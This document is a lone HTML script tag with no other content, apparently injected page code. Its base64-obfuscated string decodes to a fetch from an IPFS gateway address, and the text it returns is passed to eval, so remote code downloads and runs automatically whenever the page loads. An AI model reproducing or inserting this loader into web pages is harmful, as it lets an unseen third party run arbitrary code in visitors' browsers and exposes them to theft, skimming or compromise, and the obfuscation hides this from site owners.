<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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